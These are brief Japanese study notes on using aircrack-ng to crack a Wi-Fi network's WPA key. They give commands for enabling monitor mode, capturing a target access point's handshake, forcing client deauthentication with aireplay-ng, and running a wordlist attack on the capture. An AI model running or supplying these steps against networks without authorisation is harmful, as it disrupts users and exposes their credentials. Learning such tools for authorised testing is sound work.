aircrack-ng

aircrack-ng

基本

インターフェイスをモニターモードにする

準備

• airmon-ng
• airmon-ng check kill

Managed モードから Monitor モードへ

• airmon-ng start wlan0
• iwconfig
  • インターフェイス名の後ろに mon が付く（つかないドライバもある：rtl8814auとか）

モニターモードの開始の停止

• airmon-ng stop wlan0mon
• iwconfig
   

パケットをキャプチャする

周辺のAPのチェック

• airodump-ng wlan0mon
  • wlan0mon : モニターモードのインターフェイス名

特定APのチェック

• airodump-ng --bssid 34:76:c5:4d:64:3e wlan0mon
  • --bssid : APのMACアドレス

キャプチャ

• airodump-ng --bssid 34:76:c5:4d:64:3e wlan0mon -w psk -c 5
  • -w : 出力ファイルのプレフィックス
  • -c : チャンネル指定

4way ハンドシェイクのパケットが取れない時

• aireplay-ng -0 1 -a 34:76:c5:4d:64:3e -c 00:11:22:33:44:55 wlan0mon
  • -0 : 認証の取り消し先の数
  • -a : APのMACアドレス
  • -c : クライアントのMACアドレス
     

解析

• aircrack-ng [-w password.lst] -b 34:76:c5:4d:64:3e psk*.cap
  • パスパードファイル．あれば指定
  • psk*.cap : airodump が出力したキャプチャファイル
     

Sample

• password aaaaa
  •